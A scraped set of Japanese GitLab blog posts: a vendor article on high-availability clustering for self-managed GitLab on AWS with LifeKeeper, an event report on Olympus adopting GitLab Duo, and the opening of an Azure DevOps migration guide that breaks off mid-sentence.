EC2環境でのAZ跨ぎ構成を例に、データ共有の仕組み、障害監視とフェイルオーバーの自動化、そして直感的なGUI操作による管理方法まで、実際の検証結果に基づいて解説していきます。\n\n開発を止めないインフラ基盤の構築を検討されている方は、ぜひ最後までお読みください。\n\n## GitLabとは：開発基盤に求められる高可用性\n\nGitLabは、分散型バージョン管理システムの「Git」を利用したDevSecOpsプラットフォームであり、世界中で多くの企業に採用されています。ファイルのバージョン管理、課題管理、CI/CDパイプラインなど、ソフトウェア開発に必要な機能を統合的に提供します。\n\n## GitLabが停止したときの影響\n\n### GitLab停止時の影響範囲\n\nGitLabが停止すると、以下のような影響が即座に発生します：\n\n\\- **開発作業の停止**: コードのプッシュ・プル、マージリクエストのレビューができなくなる\n\n* **CI/CDの停止**: ビルド、テスト、デプロイといった自動化ワークフローが機能しなくなる\n* **コラボレーションの遮断**: 課題管理やプロジェクト管理機能が使えず、チーム間の連携が途絶える\n* **緊急対応の不可**: 本番環境のバグフィックスやセキュリティパッチ適用ができない\n\n停止時間が数時間に及べば開発計画が大幅に狂い、1日以上の停止は経営層への報告事項となる深刻なビジネスインパクトをもたらします。\n\n### Self-Managed版GitLabにおける冗長化の必要性\n\nGitLabには、SaaS版とSelf-Managed版の2つが提供されています。Self-Managed版は自社で用意した環境（IaaSやオンプレミス）にセットアップして利用するため、可用性の担保は利用者側の責任となります。\n\n特に開発チームの規模が大きい場合や、ミッションクリティカルなシステム開発を行っている場合は、障害発生を前提とした冗長化構成が不可欠です。予め待機系ノードを用意しておき、障害発生時には自動的に稼働系から待機系に切り替えることで、最小限のダウンタイムでの復旧が実現できます。\n\n## 冗長化を実現する技術要素\n\nGitLabの停止リスクに対する有効な解決策が、HAクラスター構成による冗長化です。ここでは、高可用性を実現するための技術要素と、その中核を担う「LifeKeeper for Linux」について解説します。\n\n### HAクラスター構成の基本的な考え方\n\nHAクラスター構成では、稼働系（Active）と待機系（Standby）の2つのノードを用意します。通常時は稼働系でGitLabが動作し、障害が発生した際には自動的に待機系へ切り替わることで、サービスの継続性を確保します。\n\nこの仕組みにより、ハードウェア障害やソフトウェア障害が発生しても、数分程度のダウンタイムでGitLabを復旧できます。重要なのは、待機系が常にスタンバイ状態にあり、稼働系のデータをリアルタイムで同期していることです。これにより、切り替え時にもデータの一貫性が保たれ、開発者は障害発生前とほぼ同じ状態で作業を継続できます。\n\n### LifeKeeper for Linuxとは\n\nLifeKeeper for Linuxは、サイオステクノロジーが提供するHAクラスター製品で、全世界で9万ライセンス以上の導入実績を持つ信頼性の高いソリューションです。Linux環境におけるアプリケーションの高可用性を実現するために設計されており、GitLabのような重要なDevSecOpsプラットフォームの保護に最適です。\n\nLifeKeeperの大きな特徴は、アプリケーションレベルでの可用性担保を実現できる点です。単にサーバーの冗長化を行うだけでなく、GitLabというアプリケーション自体を監視し、異常を検知した際には自動的にフェイルオーバーを実行します。\n\n### 冗長化構成を支える3つの技術要素\n\nLifeKeeperによる冗長化構成は、以下の3つの技術要素で構成されています。\n\n#### 1. データ同期とレプリケーション\n\nLifeKeeperの製品ラインナップである「DataKeeper」は、ローカルディスク（Amazon EC2環境ではEBS）をブロックレベルでリアルタイム同期します。これにより、共有ストレージを使用せずに論理的な共有ディスクを実現できます。稼働系で発生したデータの変更は即座に待機系へ反映されるため、フェイルオーバー時にもデータの整合性が保たれます。\n\n#### 2. 多層的な障害監視\n\nLifeKeeperは2種類の障害監視を並行して実行します。1つ目は、クラスターノード間の相互ハートビート通信によるノード自体の障害監視です。2つ目は、稼働系で動作するGitLabなどのソフトウェアの障害監視です。この多層的な監視により、ハードウェア障害とソフトウェア障害の両方を確実に検知できます。\n\n#### 3. 自動フェイルオーバー機能\n\n障害を検知すると、LifeKeeperは自動的にフェイルオーバーを実行します。待機系ノードでGitLabを起動し、アクセス経路を切り替えることで、サービスを継続します。この一連のプロセスは自動化されているため、深夜や休日に障害が発生した場合でも、管理者の手動介入なしに復旧が完了します。\n\n### 自動フェイルオーバーがもたらすメリット\n\n自動フェイルオーバーの最大のメリットは、復旧時間の短縮です。手動での復旧作業では、障害の検知、原因の特定、復旧手順の実行に多くの時間がかかりますが、自動フェイルオーバーであれば数分以内に復旧が完了します。\\\nまた、人的ミスのリスクも排除できます。緊急時の手動作業では、手順の誤りや設定ミスが発生しがちですが、事前に設定された自動プロセスであれば、確実かつ一貫した復旧が可能です。\\\nさらに、24時間365日の監視体制を人的リソースだけで維持するのは困難ですが、自動フェイルオーバーがあれば、深夜や休日でもシステムが自律的に障害対応を行います。これにより、運用担当者の負担を大幅に軽減できます。\n\n### クラウド環境での冗長化にも対応\n\nLifeKeeperは、Amazon EC2などのクラウド環境での冗長化にも対応しています。標準機能として「Recovery Kit for Route53」や「Recovery Kit for EC2」が提供されており、クラウド特有のネットワーク構成にも柔軟に対応できます。これにより、オンプレミス環境だけでなく、IaaSを利用したSelf-Managed版GitLabの冗長化も実現可能です。\n\n## GitLabのHAクラスター構成\n\nそれでは、LifeKeeper for Linuxを使ってどのようにGitLabを冗長化するのかを見てみましょう。\n\n今回当社では、Amazon EC2環境でAZを跨いだ冗長化構成を検証しました。下記の図は検証構成の概念図です。\n\n![GitLabのHAクラスター構成](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767660747/qdiodwqpg0bgjreswrnf.jpg)\n\n管理クライアントからはRoute53による名前解決でActive側のクラスターノードへのアクセスを実現しています。LifeKeeper for Linuxの標準機能の「Recovery Kit for EC2」を使うことで、スクリプト開発を行わずにGUI上でクラスターのアクセス制御を容易に設定できます。\\\n\\[参考]\\\n今回の検証ではElastic IPによる制御による名前解決を使用しましたが、LifeKeeperは製品の標準機能で下記の方式に対応しています。\\\n[→『LifeKeeper』によるAmazon EC2の冗長化構成の例](https://bccs.sios.jp/usecases/aws.html)\n\n* Recovery Kit for Route53：Route53の名前解決およびクラスターの切り替わり時にAレコードを書き換えて、名前解決した実IPに向けて通信する方式  \n* Recovery Kit for EC2：\n\n\n  - Elastic IPをActiveノードのENIに割り当てることで、外部からActiveノードへの接続を可能にする方式\n  \n  - CIDRの外を指す仮想IPに向けて通信し、クラスターの切り替わり時にルートテーブルの送信先が仮想IPのターゲットを書き換えて通信する方式\n\n\n### データ共有\n\n前述の通り、クラスターノード間のデータ共有には「DataKeeper」を使用しています。本検証では、EBSをブロックレベルでリアルタイム同期することで、論理的な共有ディスクを実現しました。\n\n## 障害監視とフェイルオーバー\n\nLifeKeeperは下記の2種類の障害監視を並行して行っており、障害が検知されると自動的に待機系に切り替え（フェイルオーバー）て復旧を実現します。\n\n1. 相互のハートビート通信によるノードの障害の監視  \n2. Active側の監視対象のソフトウェアの障害の監視\n\n上記の2.については、今回の検証ではQSP（Quick Service Protection）という機能を使っています。QSPはserviceのstatus/stop/startを使って簡易的にソフトウェアを監視や切り替えて保護できる機能です。\\\n\\[参考]\\\n今回の検証ではソフトウェアの保護にQSPを使用しましたが、LifeKeeperは他に下記の2つの方式に対応しています。\n\n* Application Recovery Kit：SIOSが開発した制御スクリプトのラインナップを使う方式  \n* Generic ARK：ユーザーが開発した制御スクリプトをLifeKeeperに組み込んで使う方式\n\n## 直感的な操作を実現するWebGUI\n\nLifeKeeperには直感的な操作を実現するWebGUIが標準機能として提供されています。GitLabのプログラムやファイルシステムなど、各保護対象をクラスターリソースとして登録し、依存関係（起動や停止させる時に他のクラスターリソースを道連れにするかしないか）もツリー構造で直感的かつ効率的に設定できます。\n\n＜クラスターの切り替え前＞\n\n![直感的な操作を実現するWebGUI - クラスターの切り替え前](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767661178/riengalkhmlzhdy1dx4r.jpg)\n\n＜クラスターの切り替え後＞\n\n![直感的な操作を実現するWebGUI - クラスターの切り替え後](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767661364/fo4sjpey107bgsztwijp.jpg)\n\n手順の詳細はぜひ検証レポートをご覧ください。下記からダウンロード頂けます。\n\nhttps://mk.sios.jp/lifekeeper-gitlab-report_l\n\n## まとめとHAクラスター製品「LifeKeeper」について\n\nここまでご覧頂きました通り、開発の中核を担うGitLabには「止まらない仕組み」が求められています。このためには、GitLabの障害を自動的に検知・復旧し、安定した運用が求められます。こうした冗長化構成を、直感的なWebのGUI上で容易に構築できるのが「LifeKeeper」なのです。\n\n「LifeKeeper」は、サイオステクノロジーが提供する全世界で9万ライセンス以上の導入実績があるHAクラスター製品です。「LifeKeeper」を導入することで、アプリケーションレベルでの可用性担保の実現に加えて、データレプリケーション製品の「DataKeeper」と組み合わせることで共有ストレージを使用せずクラウド上でシステムを冗長化させ、システム全体の可用性が高められます。\\\n詳細情報は、\u003Chttps://bccs.sios.jp/lifekeeper/> をご覧ください。\n\n> ### *サイオステクノロジーについて*\n>\n> *サイオステクノロジーは、Linuxに代表されるオープンソースソフトウェアを活用したシステムインテグレーションを原点とし、自社開発ソフトウェアおよびSaaSの販売とサービスを行っています。直近では、クラウドをはじめとするDXの技術領域に注力し、AIの活用支援や次世代を支える製品とサービスを提供しています。これからも革新的なソフトウェア技術を追求し、世界のIT産業に影響力のある存在となって価値を創造し、社会の発展に貢献してまいります。*\\\n> *詳細情報は、\u003Chttps://sios.jp> をご覧ください。*",[944,945],"Tsukasa Komatsubara","Hiroshi Nishishita, SIOS Technology, Inc.","2026-01-07","2025-12-19","GitLabを少ない工数で冗長化して安定運用を実現する ～HAクラスターソフトウェア「LifeKeeper」による冗長化～",[950,211,257,951],"cloud native","production","この記事では、GitLabの止まらない仕組みを、直感的なGUIが用意されたHAクラスター製品による冗長化構成で実現する方法をご紹介します。",{"featured":642,"template":784,"slug":954},"gitlab-high-availability-with-lifekeeper-hacluster",{"content":956,"config":965},{"category":694,"body":957,"date":958,"authors":959,"heroImage":960,"title":961,"description":962,"tags":963},"GitLabは2025年10月、パシフィコ横浜で開催された「Gartner IT Symposium/Xpo™ 2025」に出展しました。初日のセッションでは、オリンパス株式会社R&Dセンターオブ ソフトウエアエクセレンス グローバルバイスプレジデント 児玉 達弘氏をお招きし、社 内のGitLab浸透とAI活用についてインタビュー形式でお話しいただきました。聞き手は当社カントリーマネージャー 小澤 正治が務めました。本記事では、その模様をお伝えします。 \n\n## AI導入を他業界より慎重に進めていたことが、むしろチャンスにつながった\n\n![AI導入を他業界より慎重に進めていたことが、むしろチャンスにつながった](https://res.cloudinary.com/about-gitlab-com/image/upload/v1765783041/pm0s0p6gfethidu8yb9k.jpg)\n\n*オリンパス株式会社 R&Dセンターオブソフトウエアエクセレンス グ ローバルバイスプレジデント 児玉 達弘氏*\n\n児玉氏は、モバイル業界や自動車業界で様々な開発をリードし、現在はオリンパスのグローバルなソフトウエア開発をリードする立場です。同社のグローバル拠点は約40あり、各国・地域で医療機器業界に特有の厳格な法規制を遵守して開発を進める必要があります。\n\nこういった厳しい規制により、医療機器業界は新しい技術を採用するにあたって他業界より慎重に対応しながら、時間をかけて導入をする必要があります。ソフトウエア開発におけるAI活用でも同様です。しかし、児玉氏は「AIでは、こういった状況がむしろチャンスにつながりました」と話します。\n\n![図：オリンパスにおけるAI活用](https://res.cloudinary.com/about-gitlab-com/image/upload/v1765975635/m7lyrb00rw0zd0owaz6d.jpg)\n\n*図：オリンパスにおけるAI活用*\n\n現在は、同社R&Dのオペレーション領域をイノベーション、製品・サービス、R&D 開発支援、および業務効率改善という4つに切り分けてAI活用を加速。児玉氏のリードするR&D組織における開発支援では自社開発AIと市場にあるAI製品の双方を活用しています。児玉氏は、「社内でのAIへの注目度は高まっています。いまはトライ・アンド・エラーで進めています」と語ります。では、AIの採用が時間がかかったことが、なぜ同社にとってチャンスになるのでしょう。\n\n## グローバル標準開発基盤とAIをセットで導入\n\n![グローバル標準開発基盤とAIをセットで導入](https://res.cloudinary.com/about-gitlab-com/image/upload/v1765783041/bqhgg6aiar7a1zejrfza.jpg)\n\n*左からオリンパス株式会社 R&Dセンターオブソフトウエアエクセレンス グ ローバルバイスプレジデント 児玉 達弘氏、GitLab合同会社 Japan Country Manager 小澤 正治*\n\nオリンパスが最初に取り組んだのは、開発基盤の標準化です。開発のグローバル化が進む中、各国・地域で異なる開発基盤を運用していたため、コードやナレッジの共有が困難な状況にあり、その抜本的な改革が求められていました。標準開発基盤を導入することで、これらのアセットを容易に共有できるようになり、同時に重複するライセンスコストを削減できるというメリットもあります。\n\n児玉氏は、「生産性の高い開発基盤を利用できれば、優秀なエンジニアの確保にもつながります。これまでは、業界特有の法規制で身動きが取りづらく、実際に他業界と比べると遅れていましたが、一気に追いつきたいのです」と語ります。 \n\nそれに対して、小澤は「AIコーディングは数年前からエンジニアの生産性を高められるレベルに達したと話題になっていますが、AIコーディングそのものではなく、開発基盤を見直してその上でAIを活用するという思考に至った経緯はどこにあるのでしょう」と問いかけます。\n\n児玉氏によると、最も優先した事項は、世界中のエンジニアが同じ環境で開発できる基盤を整えることです。アセットやナレッジをスムーズに共有し、開発全体の効率性を高めるという命題がありました。実際に、力点を置いたのはそこなのですが、ちょうど同社が開発基盤の整備を進めていたタイミングで、AIツールが急速に普及しだしたという背景があります。 \n\n「これが極めて好都合だったのです。統一された基盤の上でAIを活用できるため、コーディングの生産性をさらに高めるための準備を一気に整えることができました。各国の医療法規制に対応することができ、さらにAI-Readyなグローバル標準開発基盤になります」（児玉氏） \n\n## インフラ専属チームを基盤にしたグローバルな開発組織へ\n\n![インフラ専属チームを基盤にしたグローバルな開発組織へ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1765783040/x48rxcdt7z7tpwpre8av.jpg)\n\n*左からオリンパス株式会社 R&Dセンターオブソフトウエアエクセレンス グ ローバルバイスプレジデント 児玉 達弘氏、GitLab合同会社 Japan Country Manager 小澤 正治*\n\n![図：3つの変革](https://res.cloudinary.com/about-gitlab-com/image/upload/v1765805070/hd02ebw61fp0gwn78d0r.jpg)\n\n*図：3つの変革*\n\n開発基盤の刷新と同時に、組織変革も進めました。全世界の組織がかかわるため、さまざまな声が上がってくるものですが、まずはビジョンを示し、ロードマップを含めて丁寧に説明。ボトムアップ型の提案を受け入れながら、目指す世界観を共有して進めています。 \n\n児玉氏は「日本の組織は、インフラを重視しない傾向がありますよね（笑）。一方、欧米企業はインフラを非常に重視しています。私は欧米企業で働いた経験もあり、そういった思考を取り入れました。インフラ専任チームを主体とし、プラットフォームエンジニアリングに加えて、他の先進技術の組織を傘下に持つグローバル組織へと再編したのです。\n\n開発基盤の標準化は、オフショアパートナーの担当者からも好評でした。プラットフォームが統一されている方が働きやすいという評価です。「セキュリティおよびコンプライアンス面でも標準化した方が優れています。環境がバラバラなら1つずつ見なければなりませんが、環境が1つであれば、点で見れば、おおよそ全体を網羅することができますから」（児玉氏） \n\n## 開発基盤と親和性の高いAIを採用\n\n![開発基盤と親和性の高いAIを採用](https://res.cloudinary.com/about-gitlab-com/image/upload/v1765783038/hjimih3bw6v1jh5dfj1f.jpg)\n\n*GitLab合同会社 Japan Country Manager 小澤 正治*\n\nそして、開発基盤上にAIを導入しました。[GitLab Duo](https://about.gitlab.com/ja-jp/gitlab-duo/)です。これにより、開発プロセスの生産性の向上、コーディングの効率化推進、および各開発拠点の生産性格差の是正を図ります。現在は、各国・地域でパイロット・プロジェクトを立ち上げながら、徐々に浸透させている段階です。 \n\n児玉氏は、「現場の担当者が実際に使ってみて、“すばらしい！”という声が出てくると、周りの部署は“いつから使えるの？”となります。興味のあるエンジニアにどんどん使ってもらうと、自然に皆の心が動いていくものです。すでに、基本的にはGitLabを使ってもらえる流れになっています」と話します。 \n\n小澤は、「安全性が強く求められ、規制の強い業界ですから、AI導入へのハードルは高かったのではありませんか」と問いかけます。\n\n> **なぜオリンパスはグローバル標準のAIとしてGitLab Duoを採用したのか** \n>\n> 開発基盤であるGitLabとの「親和性の高さ」が第一の理由です。GitLabと一体化した製品として設計されているため、開発者は作業の流れを止めることなく、自然な形でAIのサポートを受けられます。次に、セキュリティを最重要視する医療機器メーカーの 必須条件である「オンプレミス環境への対応」です。GitLab Duoなら管理された社内 環境で優れたAI機能を利用できます。最後に、「データの安全性」。GitLabが開発 コードなどの機密情報をAIの学習に利用しないことが契約書に明記されており、情報 漏洩のリスクなく安心して使えることが大きな決め手になりました。 \n\n## 近い将来、エンジニアにはより一層のヒューマンスキルが求められる\n\n![近い将来、エンジニアにはより一層のヒューマンスキルが求められる](https://res.cloudinary.com/about-gitlab-com/image/upload/v1765783040/dpzfx1lwihqolr0tbvaa.jpg)\n\n*オリンパス株式会社 R&Dセンターオブソフトウエアエクセレンス グ ローバルバイスプレジデント 児玉 達弘氏*\n\n児玉氏は今後も、[GitLabのカスタマーサクセス](https://about.gitlab.com/ja-jp/services/)チームとの連携を強化し、GitLabと[GitLab Duo](https://about.gitlab.com/ja-jp/gitlab-duo/)をオリンパスのグローバル標準開発基盤として、さらなる浸透を図ります。また、確実に進めていかなければならないのは、継続的に実施しなければならない法規制への対応です。児玉氏は、これらに加えて、新たな開発基盤を活用して仕事を進めるエンジニアの働き方を再定義する必要があると考えています。 \n\n実際に使ってみると、コーディング関連の作業はかなりAIにサポートしてもらえることがわかりました。そうなると、エンジニアの仕事は将来的に上流部分と成果物のチェックが主になります。人とAIの仕事の切り分けが進めば、「AIと一緒にどう働くのが効果的か」、「AIをどう働かせればいいのか」という命題に答えを出す必要が出てくるでしょう。\n\n児玉氏は、AIを活用して働く近い将来のエンジニア像について、次のように話してくれました。「AIは進化が非常に速いため、継続的に学び続ける意欲が不可欠です。その上で、AIだけでは解決できない複雑な問題に対応するための問題解決能力や、チームで協力して仕事を進めるコミュニケーション能力といったヒューマンスキルがより一層求められます。AIを正しく使い、AIに正しく行動させる倫理的な判断力も求められてくるのではないでしょうか」\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1765783046/imrebw0dspdmpap6ga2e.jpg)\n\n*ステージの様子*\n\n![＜ブースの様子＞](https://res.cloudinary.com/about-gitlab-com/image/upload/v1765783042/rtkszppq4jriueqcrxx4.jpg)\n*ブースの様子*\n\n![ノベルティの水筒](https://res.cloudinary.com/about-gitlab-com/image/upload/v1765783044/liwg8dkg1dlcxgu2co6b.jpg)\n*イベントで配られたノベルティ（水筒）*\n\n![ノベルティのステッカー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1765783044/psnz3c5aqqk5kwxijrwa.jpg)\n*イベントで配られたノベルティ（ステッカー）*","2025-12-17",[894],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1765782992/oprjzjvey9xx4fvtdevb.jpg","GitLabとGitLab Duoをグローバル標準に、プラットフォーム・エンジニアリング領域で AI活用を加速するオリンパス【イベントレポート】","2025年10月に開催された「Gartner IT Symposium/Xpo™ 2025」の当社セッションにおいて、オリンパス株式会社R&Dセンターオブソフトウエアエクセレンスグローバルバイスプレジデント児玉達弘氏にご講演いただいた模様をお伝えします。",[777,964,899,696,252,901],"collaboration",{"featured":13,"template":784,"slug":966},"event-report-gartner-it-symposium-xpo-2025",{"category":709,"slug":707,"posts":968},[969,984,997],{"content":970,"config":982},{"heroImage":971,"body":972,"authors":973,"updatedDate":976,"date":977,"title":978,"tags":979,"description":981,"category":707},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749658924/Blog/Hero%20Images/securitylifecycle-light.png","Azure DevOpsからGitLabへの移行は困難な作業のように思えるかもしれませんが、適切なアプローチとツールを使用すれば、スムーズかつ効率的に進められます。このガイドでは、Azure DevOpsからGitLabへプロジェクト、リポジトリ、パイプラインを正常に移行するために必要な手順を説明します。\n\n## 概要\n\nGitLabは、Azure DevOps（ADO）からプロジェクトを移行するための[Congregate](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/)([GitLabプロフェッショナルサービス（PS）](https://about.gitlab.com/ja-jp/professional-services/)によって管理）と[組み込みのGitリポジトリインポート](https://docs.gitlab.com/user/project/import/repo_by_url/)の両方を提供しています。これらのオプションは、リポジトリごとまたは一括移行をサポートし、Gitコミット履歴、ブランチ、タグを保持します。Congregateとプロフェッショナルサービスのツールを使用すると、Wiki、作業アイテム、CI/CD変数、コンテナイメージ、パッケージ、パイプラインなどの追加アセットもサポートされます（この[機能マトリクス](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/blob/master/customer/ado-migration-features-matrix.md)を参照）。このガイドを参照すれば、移行を計画・実行し、移行後のフォローアップタスクを完了できます。\n\nADOからGitLabへ移行する企業は、一般的に複数フェーズのアプローチに従います：\n\n* CongregateまたはGitLabの組み込みリポジトリ移行を使用して、ADOからGitLabにリポジトリを移行します。\n* AzureパイプラインからGitLab CI/CDにパイプラインを移行します。\n* ボード、作業アイテム、アーティファクトなどの残りのアセットを、GitLabのイシュー、エピック、パッケージレジストリ、コンテナレジストリに移行します。\n\n移行フェーズの概要:\n\n```mermaid\ngraph LR\n    subgraph Prerequisites\n        direction TB\n        A[\"IDプロバイダー（IdP）を設定し\u003Cbr/>ユーザーをプロビジョニング\"]\n        A --> B[\"Runnerとサードパーティ\u003Cbr/>インテグレーションを設定\"]\n        B --> I[\"ユーザーの有効化と\u003Cbr/>変更管理\"]\n    end\n    \n    subgraph MigrationPhase[\"移行フェーズ\"]\n        direction TB\n        C[\"ソースコードを移行\"]\n        C --> D[\"コントリビューションを保持し\u003Cbr/>履歴をフォーマット\"]\n        D --> E[\"作業アイテムを移行し\u003Cbr/>\u003Ca href=\"https://docs.gitlab.com/topics/plan_and_track/\">GitLab Plan\u003Cbr/>および作業追跡\u003C/a>にマッピング\"]\n    end\n    \n    subgraph PostMigration[\"移行後の手順\"]\n        direction TB\n        F[\"ADOパイプラインを\u003Cbr/>GitLab CIに作成または変換\"]\n        F --> G[\"その他のアセット、パッケージ、\u003Cbr/>コンテナイメージを移行\"]\n        G --> H[\"\u003Ca href=\"https://docs.gitlab.com/user/application_security/secure_your_application/\">セキュリティ\u003C/a>と\u003Cbr/>SDLC改善を導入\"]\n    end\n    \n    Prerequisites --> MigrationPhase\n    MigrationPhase --> PostMigration\n\n    style A fill:#FC6D26\n    style B fill:#FC6D26\n    style I fill:#FC6D26\n    style C fill:#8C929D\n    style D fill:#8C929D\n    style E fill:#8C929D\n    style F fill:#FFA500\n    style G fill:#FFA500\n    style H fill:#FFA500\n```\n\n## 移行の計画\n\n**移行を計画するにあたり、次の質問を検討します:**\n\n* 移行をいつまでに完了する必要があるか?\n* 何が移行されるかを理解しているか?\n* 誰が移行を実行するか?\n* GitLabでどのような組織構造を望むか?\n* 考慮すべき制約、制限、落とし穴はあるか?\n\nタイムラインを決定します。これは移行アプローチを大きく左右します。ADOとGitLabの両プラットフォームに精通したチャンピオンやグループ（アーリーアダプターなど）を特定し、導入を推進してアドバイスを提供してもらいます。\n\n**移行が必要なものをインベントリ化:**\n\n* リポジトリ、プルリクエスト、コントリビューターの数\n* 作業アイテムとパイプラインの数と複雑さ\n* リポジトリのサイズと依存関係\n* 重要なインテグレーションとRunner要件（特定の機能を持つエージェントプール）\n\nGitLab プロフェッショナルサービスの[Evaluate](https://gitlab.com/gitlab-org/professional-services-automation/tools/utilities/evaluate#beta-azure-devops)ツールを使用して、リポジトリ、PR数、コントリビューターリスト、パイプライン数、作業アイテム、CI/CD変数などを含むAzure DevOps組織全体の完全なインベントリを作成します。GitLabプロフェッショナルサービスチームと連携している場合は、このレポートをエンゲージメントマネージャーまたはテクニカルアーキテクトと共有し、移行計画に役立ててください。\n\n移行のタイミングは、主にプルリクエスト数、リポジトリサイズ、コントリビューション量（PRのコメント、作業アイテムなど）によって決まります。たとえば、PRが少なくコントリビューターが限られた1,000の小規模リポジトリは、数万のPRと数千のコントリビューターを含む少数のリポジトリよりもはるかに高速に移行できます。インベントリデータを使用して作業量を見積もり、本番移行を進める前にテスト実行を計画します。\n\nインベントリを希望のタイムラインと比較し、すべてのリポジトリを一度に移行するか、バッチで移行するかを決定します。チームが同時に移行できない場合は、チームのスケジュールに合わせて移行をバッチ化し、段階的に実行します。たとえば、プロフェッショナルサービスのエンゲージメントでは、複雑さを管理し、[GitLab](https://docs.gitlab.com/security/rate_limits/)と[ADO](https://learn.microsoft.com/en-us/azure/devops/integrate/concepts/rate-limits?view=azure-devops)の両方のAPIレート制限を尊重するために、200〜300プロジェクト単位の段階に分割して移行を実施します。\n\nGitLabの組み込み[リポジトリインポーター](https://docs.gitlab.com/user/project/import/repo_by_url/)は、Gitリポジトリ（コミット、ブランチ、タグ）を1つずつ移行します。Congregateは、可能な限りプルリクエスト（GitLabではマージリクエストとして知られています）、コメント、関連メタデータを保持するように設計されています。シンプルな組み込みリポジトリインポートは、Gitデータ（履歴、ブランチ、タグ）のみに焦点を当てています。\n\n**通常、個別の移行または手動での再作成が必要な項目:**\n\n* Azureパイプライン - 同等のGitLab CI/CDパイプラインを作成([CI/CD YAML](https://docs.gitlab.com/ci/yaml/)または[CI/CDコンポーネント](https://docs.gitlab.com/ci/components/)を参照)。または、CongregateのAIベースのパイプライン変換を使用することを検討してください。\n* 作業アイテムとボード - GitLabのイシュー、エピック、イシュー ボードにマッピング。\n* アーティファクト、コンテナイメージ(ACR) - GitLabパッケージレジストリまたはコンテナレジストリに移行。\n* サービスフックと外部インテグレーション - GitLabで再作成。\n* [権限モデル](https://docs.gitlab.com/user/permissions/)はADOとGitLabで異なります。完全な保持を想定するのではなく、権限マッピングを確認および計画してください。\n\n各ツール（Congregateと組み込みインポート）が何を移行するかを確認し、ニーズに合ったものを選択します。手動で移行または再作成する必要があるデータやインテグレーションのリストを作成します。\n\n**誰が移行を実行するか?**\n\n移行は通常、GitLabグループオーナーまたはインスタンス管理者、または移行先グループ/プロジェクトに必要な権限を付与された指定の移行担当者によって実行されます。CongregateとGitLabインポートAPIには、Azure DevOpsとGitLabの両方の有効な認証トークンが必要です。\n\n* グループオーナー/管理者が移行を実行するか、特定のチーム/個人に委任アクセスを付与するかを決定します。\n* 移行担当者が、選択した移行ツールに必要なスコープ（api/read_repositoryスコープやツール固有の要件など）を持つ個人アクセストークン（Azure DevOpsとGitLab）を正しく設定していることを確認します。\n* 小規模なパイロット移行でトークンと権限をテストします。\n\n**注:** CongregateはADO移行のためにファイルベースのインポート機能を活用し、実行にはインスタンス管理者権限が必要です（[ドキュメントを参照](https://docs.gitlab.com/user/project/settings/import_export/#migrate-projects-by-uploading-an-export-file)）。GitLab.comに移行する場合は、プロフェッショナルサービスの利用を検討してください。詳細については、[Professional Services Full Catalog](https://about.gitlab.com/professional-services/catalog/)を参照してください。管理者以外のアカウントでは、コントリビューションの帰属を保持できません。\n\n**GitLabでどのような組織構造を望むか?**\n\nADO構造をGitLab構造に直接マッピングすることは可能ですが、移行中に構造を合理化および簡素化することをお勧めします。チームがGitLabでどのように作業するかを検討し、コラボレーションとアクセス管理を促進する構造を設計します。ADO構造をGitLab構造にマッピングする方法は次のとおりです。\n\n```mermaid\ngraph TD\n    subgraph GitLab\n        direction TB\n        A[\"トップレベルグループ\"]\n        B[\"サブグループ（オプション）\"]\n        C[\"プロジェクト\"]\n        A --> B\n        A --> C\n        B --> C\n    end\n\n    subgraph AzureDevOps[\"Azure DevOps\"]\n        direction TB\n        F[\"組織\"]\n        G[\"プロジェクト\"]\n        H[\"リポジトリ\"]\n        F --> G\n        G --> H\n    end\n\n    style A fill:#FC6D26\n    style B fill:#FC6D26\n    style C fill:#FC6D26\n    style F fill:#8C929D\n    style G fill:#8C929D\n    style H fill:#8C929D\n```\n\n推奨アプローチ:\n\n* 各ADO組織をGitLabグループ（または少数のグループ）にマッピングし、多数の小さなグループには分割しないでください。ADOチームプロジェクトごとにGitLabグループを作成することは避けてください。移行をGitLab構造を合理化する機会として活用してください。\n* サブグループとプロジェクトレベルの権限を使用して、関連リポジトリをグループ化します。\n* GitLabグループとグループメンバーシップ（グループとサブグループ）を使用してプロジェクトのセットへのアクセスを管理し、チームプロジェクトごとに1つのグループを作成しないでください。\n* GitLabの[権限](https://docs.gitlab.com/ee/user/permissions.html)を確認し、[SAML Group Links](https://docs.gitlab.com/user/group/saml_sso/group_sync/)を検討して、GitLabインスタンス（またはGitLab.comネームスペース）のエンタープライズRBACモデルを実装します。\n\n**ADOボードと作業アイテム: 移行の状態**\n\n作業アイテムがADOからGitLab Plan（イシュー、エピック、ボード）にどのように移行されるかを理解することが重要です。\n\n* ADOボードと作業アイテムは、GitLabのイシュー、エピック、イシューボードにマッピングされます。ワークフローとボード設定がどのように変換されるかを計画します。\n* ADOのエピックと機能は、GitLabのエピックになります。\n* その他の作業アイテムタイプ（ユーザーストーリー、タスク、バグなど）は、プロジェクトスコープのイシューになります。\n* ほとんどの標準フィールドが保持されます。サポートされている場合、選択したカスタムフィールドを移行できます。\n* 親子関係が保持されるため、エピックはすべての関連イシューを参照します。\n* プルリクエストへのリンクはマージリクエストリンクに変換され、開発のトレーサビリティが維持されます。\n\n例: 個別の作業アイテムのGitLabイシューへの移行（フィールドの正確性と関係性を含む）:\n\n![例: 個別の作業アイテムのGitLabイシューへの移行](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764769188/ztesjnxxfbwmfmtckyga.png)\n\nバッチ処理のガイダンス:\n\n* バッチで移行を実行する必要がある場合は、新しいグループ/サブグループ構造を使用してバッチを定義します（たとえば、ADO組織ごと、または製品領域ごと）。\n* インベントリレポートを使用してバッチ選択を推進し、スケールアップする前に各バッチをパイロット移行でテストします。\n\n**パイプライン移行**\n\nCongregateは最近、Azure DevOpsからGitLab 